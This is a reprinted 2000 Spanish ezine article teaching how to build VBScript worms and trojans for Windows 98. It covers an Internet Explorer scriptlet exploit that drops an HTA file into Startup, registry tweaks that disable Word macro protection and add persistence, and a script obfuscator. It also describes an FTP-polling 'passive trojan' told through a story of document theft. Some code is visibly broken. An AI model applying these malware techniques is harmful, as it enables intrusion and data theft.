Este artículo lo publiqué originalmente en el número #4 de NetSearch Ezine, una revista electrónica sobre seguridad informática en el 2000.
Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Windows 98. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como evitar ser infectado.
En los tiempos que corren podemos leer en la prensa, en la televisión, la radio… como se habla mucho de virus de Internet, como Melissa, iloveyou…, que utilizan el correo electrónico para entrar en el sistema y “destrozarlo”.
Estos gusanos se han extendido por todo el mundo, y son temidos por la sociedad, aunque realmente no son tan catastróficos como los pintan.
Pero… ¿cual es la verdadera razón de que se hayan extendido a tan gran escala? Pues sencillamente que se extienden de la misma forma que se extendió en su día el famoso programa de Microsoft, Windows. Todos estos gusanos se extienden utilizando las herramientas que nos ofrece la propia Microsoft, ya que solo afectan a las aplicaciones de dicha empresa.
El virus Melissa, tan famoso el año pasado, utilizaba el lenguaje de macros de Microsoft Word y la libreta de direcciones de Microsoft Outlook para sus fines. El mas reciente, iloveu, emplea el scripting de Microsoft Windows, y aprovecha la fabulosa opción de esconder las extensiones en el navegador del sistema para engañar al pobre usuario que sin tener conocimientos básicos sobre como protegerse de agresiones externas (de lo que no les culpo, ya que la culpa es de los medios, que cada vez más se empeñan en asociar la seguridad informática a los “chicos malos”). Bueno, me dejo de preambulos y comienzo este pequeño vistazo a algunas de las técnicas que se emplean para realizar estos ataques, dejando claro que el problema esta en la falta de seguridad del software, y no en la mente retorcida de ciertos cerebritos que se dedican a reventar máquinas ajenas por placer. Ni que decir tiene que todo lo que exponga aquí tiene como fin el conocer como proteger nuestra maquina de este tipo de ataques, no el difundir como utilizarlo con fines poco éticos. Por ello, ciertas partes del código que muestre estaran incompletas o capadas, para que los script-kiddies no encuentren aquí su toys’r’us particular.
Aprobecho tambien este artículo para introducir un “nuevo” (por lo menos yo no he leido nada parecido hasta ahora) concepto al que he bautizado como “Troyano Pasivo”. Lo comentará al final de este artículo, y tambien adjuntare un sencillo pero poderoso ejemplo que he escrito, llamado DraZler.
Visual Basic Script (VBS): Los batch de Windows
VBS es un lenguaje de scripting que posee Windows. Sería la versión más reducida de Visual Basic, seguida de VBA (Visual Basic para Aplicaciones). Son scripts muy parecidos a JavaScript, y pueden utilizarse como un batch o como script en una Web, permitiendonos utilizar los controles ActiveX en la Web.
Una de las reglas básicas para comprometer un sistema es conseguir acceso al HD del ordenador. Por ello, los scripts de Java o de VB no permiten hacerlo desde una web. Bueno, miento. Si permiten hacerlo, pero nos saltaría el control ActiveX preguntando si queremos ejecutar ese código, ya que puede comprometer la seguridad de nuestra máquina.
Una primera técnica, un tanto rudimentaria, a mi parecer, es la que utilizó el gusano iloveu. Se trata de enviar el script como un attachment en un correo electrónico. El incauto usuario posiblemente lo ejecutará, ya que si consulta la línea del remitente, vera la dirección de un amigo o familiar (ya que el virus se envía utilizando la libreta de direcciones de la máquina infectada).
Tambien aprovecha las extensiones ocultas de Windows. Llama al archivo sample.txt.vbs, quedando a la vista únicamente sample.txt, de forma se podría pensar que nos han enviado un archivo de texto plano. Una vez que el archivo sea ejecutado, podemos hacer prácticamente cualquier cosa en esa máquina.
Una técnica más eficiente, aunque no tan conocida es la que utiliza el gusano BubbleBoy. Se trata de aprovechar un bug en las librerias de scriptlet en Internet Explorer 5.0. Dicho fallo nos permite volcar un archivo de texto plano en el disco duro de la máquina sin que los controles de seguridad de ActiveX lo revelen. Dicho archivo, colocado de forma estratégica, nos permite tomar la máquina practicamente al 100%. Este archivo podría ser volcado en el directorio Inicio de Windows, como una Aplicacion HTML (.hta), de forma que al reiniciar la computadora este sería ejecutado.
<object classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" id="Infect">
</object> <script language="VBScript"> Infect.Path ="C:\WINDOWS\MENU
INICIO\PROGRAMAS\INICIO\DETONANTE.HTA" Infect.Doc = Chr(13) & "Codigo" &
Chr(13) Infect.Write </script>
El código anterior volcaría el archivo detonante.hta en el directorio inicio de Windows. En este caso, el archivo no contendría ningun código. Esto, insertado en un email en formato HTML o en una web, infectaría al indefenso usuario que lo recibiese con Outlook 5 o que visitase la web con el explorer. Es más, si la infección llega a través del email, ni siquiera es necesario abrir el mensaje, ya que el propio Outlook ejecuta el código Javascript o VBS que contenga al utilizar la vista previa.
Al reiniciar el sistema, ese detonante seria ejecutado, abriendo una ventana, en la que se podría escribir un mensaje emulando un error. Y a partir de ahí, solo bastaría dar rienda suelta a nuestra imaginación.
Para parchear esta vulnerabilidad:
http://support.microsoft.com/support/kb/articles/Q240/3/08.ASP
El último gusano “de moda” ha sido el Life Stages. Este virus aprovecha otra vulnerabilidad de nuestro querido Windows. Se trata de utilizar el Shell Scrap de Windows. Se trata de una posibilidad bastante útil que permite empaquetar varios archivos de proceso por lotes en uno solo. El fallo esta en que por defecto, la extensión de estos archivos (SHS) nunca se mostrará, aunque tengamos activado el Mostrar Extensiones. Esto se debe a la siguiente clave del registro (que viene por defecto :P):
HKEY_CLASSES_ROOTShellScrapNeverShowExt
Para solucionarlo no hay mas que renombrar esta clave por:
HKEY_CLASSES_ROOTShellScrapAlwaysShowExt
Objetos útiles en VBS
Para escribir un gusano, un virus o un troyano en VBS, básicamente tenemos dos objetos importantes. Uno que nos permitira acceder al HD y otro al registro.
=-=-= [ Scripting.FileSystemObject ]
Este objeto contiene diversos metodos que nos permiten leer, y escribir en los dispositivos de almacenamiento masivo de la máquina.
Set ManipulacionHD = CreateObject(“Scripting.FileSystemObject”)
Para abrir un archivo de texto en modo lectura/escritura lo hariamos del siguente modo:
Set MiArchivo = ManipulacionHD.CreateObject(“path/del/archivo”,1,false)
[ Nota: Esto no es un curso de VBS, me limitaré a exponer como se utilizan los metodos para nuestros objetivos, pero no explicare para que sirven todos los parametros. Para eso ya están los libros y los tutoriales que hay por Internet ]
Para escribir en ese archivo:
MiArchivo.WriteLine(“Esta es la primera linea del archivo creado”)
MiArchivo.WriteLine(“Esta es la segunda”)
Para leer:
variable = MiArchivo.ReadLine()
(el contenido de la variable seria “Esta es la primera linea del archivo”)
Una vez terminada la secuencia, debemos cerrar el archivo para lectura escritura.
MiArchivo.Close()
Podemos tambien borrar un archivo:
ManipularHD.DeleteFile(“path\del\archivo”)
=-=-= [ WScript.Shell ]
Este objeto nos permite ejecutar programas y acceder al registro.
Set MiShell = CreateObject(“WScript.Shell”)
Para ejecutar un programa:
MiShell.Run “path/del/binario”,”0″
El 0 indica que se debe ejecutar en segundo plano.
Para escribir en el Registro:
MiShell.RegWrite “HKEY_…\ruta de la clave\clave”, “Contenido”
y para leer:
variable = MiShell.ReadReg(“HKEY_…\ruta\clave”)
(el contenido de “variable” seria “Contenido”)
Bien, conociendo esto, ya podemos hacer lo que nos propongamos.
Manipulando el registro
El registro de Windows es, quizá, lo más interesante de este programa. Desde allí podemos variar multitud de parametros. Uno de los más interesantes sería el de la desactivación de la protección contra virus de Microsoft Word para posteriores “entradas”.
Ejecutar.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\
Options\EnableMacroVirusProtection” , “0”
En DraZler (el troyano que adjunto al final de este articulo) se vale del registro para ocultarse a los ojos del usuario de una forma bastante curiosa.
Se trata de cambiar el puntero de trabajo en segundo plano por el mismo que tiene como puntero normal. De esta forma, puede estar realizando tareas (en este caso la de conectar una y otra vez a un ftp) sin que el puntero cambie cada 5 segundos.
Flecha = Ejecutar.RegRead(“HKEY_CURRENT_USER\Control Panel\Cursors\Arrow”)
Ejecutar.RegWrite “HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting”,Flecha
Tambien tenemos la posibilidad de colocar programas que arranquen cada vez que se inicia el sistema (del mismo modo que la carpeta inicio). Esta técnica es archiconocida, y la utilizaban los vistos hasta la saciedad Netbus y Back Orifice. Se trata de insertar una clave en alguna de las siguientes rutas del registro:
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Run
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunOnce
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunServices
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunservicesOnce
Ahora solo tienes que rebuscar un poco en el registro y encontraras multitud de cosas utiles.
Volcando archivos binarios en el HD
Muchas veces el VBS se nos queda corto para nuestras necesidades, y quizá un ejecutable lo solucionase, pero tenemos un problema. La gran mayoría de los usuarios no tienen un compilador de C u otro lenguaje instalado en su máquina, y aunque lo tuviese, lo mas seguro es que no conociesemos la ruta de dicho compilador, por lo que sería inútil intentar volcar un código fuente para compilarlo allí, como sería posible en *NIX. Pero hay una solución que he comentado anteriormente (Ver NetSearch Ezine No. 2). Se trata de utilizar el debug del DOS para convertir el código hexadecimal de nuestro ejecutable en un binario.
Ahora comentare para que lo he utilizado yo en DraZler. Cuando ejecutamos un programa basado en MSDOS, normalmente se abre una “shell”. En el caso de DraZler, yo necesito utilizar un Batch con un bucle infinito, lo que abre esa ventana, y lo hace totalmente visible al usuario. Para ello, se me ocurrio utilizar un acceso directo que apuntase a ese Batch. Si edito las propiedades de ese acceso directo puedo hacer que no salte la ventana, y activar ciertas opciones muy útiles, como la de que no avise de que hay un programa MSDOS corriendo en la máquina al apagar el sistema. Pero… ¿como creo un acceso directo en una máquina a la que no tengo acceso físico? Pues muy sencillo, creo el acceso directo en mi máquina, lo convierto en codigo hexadecimal, y lo vuelco en la máquina remota mediante un script VBS y debug (ver DraZler).
Cifrado
Dado que VBS es un script, el código siempre puede ser leído editando el archivo. Para poner las cosas más difíciles, siempre podemos utilizar una pequeña función que lo oculte, aunque si el que lo edita es un poco avispado no tendra ningun problema para descifrarla.
Cadena = InputBox(Codigo,"MoebiuZ's Simple Encoder","Introduce la frase a codificar") For Count = 1 To Len(Cadena)
If Count = 1 Then
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
Yimbo = Asc(Mid(Cadena, Count, 1))
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
Yimbo = "0" & Asc(Mid(Cadena, Count, 1))
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
Yimbo = "00" & Asc(Mid(Cadena, Count, 1))
End If
ElseIf Count = Len(Cadena) Then
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
Pepo = Asc(Mid(Cadena, Count, 1))
Yimbo = Yimbo & Pepo
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
Pepo = "0" & Asc(Mid(Cadena, Count, 1))
Yimbo = Yimbo & Pepo
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
Pepo = "00" & Asc(Mid(Cadena, Count, 1))
Yimbo = Yimbo & Pepo
End If
Else
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
Pepo = Asc(Mid(Cadena, Count, 1))
Yimbo = Yimbo & Pepo
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
Pepo = "0" & Asc(Mid(Cadena, Count, 1))
Yimbo = Yimbo & Pepo
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
Pepo = "00" & Asc(Mid(Cadena, Count, 1))
Yimbo = Yimbo & Pepo
End If
End If Next Pringue = InputBox(Unused,"Codigo cifrado",Yimbo)
Con este sencillo programa podemos codificar una a una las lineas de nuestro virus, de forma que solo seran secuencias numéricas. Hay que decir que algunas funciones de un script no se pueden codificar o no serán interpretadas correctamente.
Una vez tenemos nuestro virus codificado totalmente, solo tenemos que hacer una función que decodifique cada una de las lineas y la interprete como si no estuviese codificada.
Function Dec(Code)
For Count = 1 To Len(Code) Step 3
If Count = 1 Then
DCode = Chr(Mid(Code,Count,3))
Else
DCode = DCode & Chr(Mid(Code,Count,3))
End If
Next
End Function
Imaginad este sencillo script:
Msgbox “AQUI SU PUBLICIDAD”
Pues encriptado con el codificador anterior quedaria del siguiente modo:
Execute(Dec(077115103098111120032034065081085073032083085032080085066076073067073068065068034))
Function Dec(Code)
For Count = 1 To Len(Code) Step 3
If Count = 1 Then
DCode = Chr(Mid(Code,Count,3))
Else
DCode = DCode & Chr(Mid(Code,Count,3))
End If
Next
End Function
Troyanos Pasivos: DraZler v1.0.0
Bien, como ya comenté al principio, voy a hablar de lo que se me ha dado por llamar Troyanos Pasivos.
Hasta ahora estamos acostumbrados a los tristemente famosos troyanos del tipo cliente/servidor. Infectabas una máquina con el servidor y despues accedías a ella a través del cliente, con el cual conectabas conociendo la IP de la victima. Los inconvenientes de este sistema son ovbios: existe el problema de conseguir que la víctima active un ejecutable en su máquina, y ademas, necesitamos conseguir su IP mas tarde para poder establecer una conexion. El 95,5% de las máquinas, digamos, normales, no estan conectadas 24 horas a Internet (aun con la tarifa Plana :P) y tienen una IP dinámica, por lo que tendriamos que encontrarnos con la victima en el IRC, u otras cosas para eso.
La idea de troyano pasivo consiste en que es la máquina infectada la que conecta a donde el atacante desea, y recoge de allí las instrucciones a seguir.
Por ejemplo, cuando la máquina conecta a Intenet, esta realiza una conexion a un ftp gratuito donde yo he dejado un script, un batch, o un binario, lo recoge y lo ejecuta. De esta manera tenemos la maquina controlada sin preocuparnos de si esta conectado o no, y sin saber su IP.
Para ilustrar esto, he creado un sencillo programa, completamente en VBS y Batch. Con ello quiero demostrar dos cosas; que Windows 98 NO ES SEGURO, y que es posible utilizar los propios recursos de una máquina estandar para introducirse en ella, sin necesidad de utilizar programas enlatados.
A continuación comentare a grandes rasgos y a modo de historia lo que podría hacer DraZler, pero como siempre he dicho, un codigo fuente es el mejor tutorial que puedes consultar.
” Domingo, 12:52 horas.
Los padres de Selmito acaban de salir de casa para ir a misa de una. El, como siempre, se había quedado dormido y no le daba tiempo de llegar, por lo que se levanta, se ducha, desayuna un poco y corre enseguida a su ordenador para conectarse a Internet (por fin le han puesto su tarifa plana y tiene que aprovechar que hoy es “gratis” todo el día, y así bajarse el último album de Britney Spears). Arranca su flamante Pentium 500 con 128 de RAM y su querido Windows 98 personalizado hasta los topes. Pincha sobre el icono que pone Internet y mientras su US Robotic 56K emite unos extraños pero graciosos soniditos, aprovecha para arrancar su Internet Explorer, su Outlook y su mIRC para ir ahorrando tiempo.
Cuando el sonido remite, teclea en su navegador la dirección de Terra para enviar un mensaje al movil que se acaba de comprar su compañero de clase. Mientras carga la Web, pulsa el botón “Enviar y Recibir” en el Outlook, para bajarse el correo. Selmito esboza, como todos los dias una sonrisita al ver como su Outlook se baja el correo de la cuenta de su padre y a continuación el de la suya. Todavia recuerda como fardó con sus colegas cuando configuró el solito las dos cuentas en el mismo cliente de correo. De pronto siente una gran curiosidad al ver que el asunto de uno de los mensajes de su padre dice asi “IMPORTANTE”. Sabe que no debe leerlo porque no es suyo, pero como el entiende mas de informática que su padre, decide leerlo por la vista previa y asi dejarlo como no leido. Pronto pierde el interés al ver que el cuerpo del mensaje apenas dice una sarta de estupideces sobre el negocio de su padre, el cual nunca le interesó a él (Eso de ser el editor de una revista del corazón no es muy divertido).
En ese momento escucha como alquien esta abriendo la puerta de entrada, y apaga el ordenador.
…
(Mientras, en las entrañas del Pentium 500 con 128 de RAM)
El viaje a traves de Internet dando saltos de servidor en servidor lo habia dejado hecho polvo. Cuando por fin llego a la maquina destino, DraZler, el pequeño gusano se dejo caer a través de Outlook en el directorio inicio de Windows gracias a sus queridas librerias Scriptlet. Por fin encontro una forma un poco más cómoda en la mutacion HTA. Despues de tan largo viaje a traves de lineas de cobre, cables de fibra óptica y ondas, decidio descansar hasta la próxima inicialización del sistema.
Domingo, 14:23 horas.
El padre de Selmito enciende el ordenador de casa. Tiene que terminar un artículo para el Martes, ya que es una gran exclusiva que no debe salir antes en ninguna otra publicación. Abre su Microsoft Word y comienza a escribir un largo y movidito artículo de 34 paginas, con todo lujo de detalles. -“La competencia lo va flipar” – se decía a si mismo.
…
Al arrancar el sistema, DraZler decidió activarse de nuevo, dividiendose en varios archivos VBS y Batch. Activó en el registro su “despertador”, para que cada vez que iniciase el sistema le despertase. Volco un acceso directo para despertarse sin “hacer ruido”. DraZler pudo comprobar que esta máquina no estaba todo el día comunicada con el exterior, asi que decidió realizar una conexión ftp con la dirección que le habia dado su jefe una y otra vez, hasta que el canal modulador/demodulador estableciese un enlaze con la RED. Se dio cuenta de que esto era demasiado “ruidoso”, ya que estaba utilizando un Batch con bucle infinito que llamaba al ftp.exe de Windows, de modo que hizo un pequeño apaño en el registro tocando los punteros del escritorio para que el dichoso relojito no apareciese cada dos por tres. Bien, solo quedaba esperar a que se estableciese esa comunicación y así poder recoger las ordenes de su jefe en el ftp.
Domingo, 18:36 horas
Selmito conectaba desesperado su ordenador a Internet, harto ya de hacer los deberes del Lunes. Ademas, hoy estaba nervioso, habia quedado con una chica en el IRC, que debia estar para comersela segun la foto que esta le habia enviado.
Se llamaba Sheila.
…
¡Al fin! Por fin se abrían las puertas. DraZler se dirigió a zeus.gratisftp.org y allí recogió ord.vbs. Eran las ordenes de su jefe. Este le pedía el archivo c:mis documentos*rod*men*. Pues allí se fue. Al llegar a c:mis documentos encontro un archivo llamado exclusiva.doc. Pues nada, establecio de nuevo una conexion ftp y subió alli el archivillo.
Lunes, 13:05 horas
El padre de Selmito no se lo podía creer. El artículo sobre la boda del codiciado abogado habia salido en una publicación de la competencia. ¡Pero como! Era una exclusiva. Le habían tomado el pelo…
…
DraZler ya se habia asentado y acomodado a este su nuevo hogar, y disfrutó de su trabajo y sus escapaditas esporadicas a zeus.gratisftp.com durante un espacio de 7 meses y 4 dias, hasta que Selmito abrió una foto de Sheila llamada en_la_ducha.exe y el disco duro de su ordenador comenzo a girar…”
En fin, despues de este culebrón, solo queda que vosotros mismos veais como funciona este bichejo. Solo comentar que este es el código para infectar la máquina, y que de ir adjunto en un HTML o en un email para Outlook tiene que ser modificado para adaptarlo. Por favor, no lo utiliceis, solo es una ilustración de este artículo, ademas, posee un fallo que hará sospechar a la persona infectada.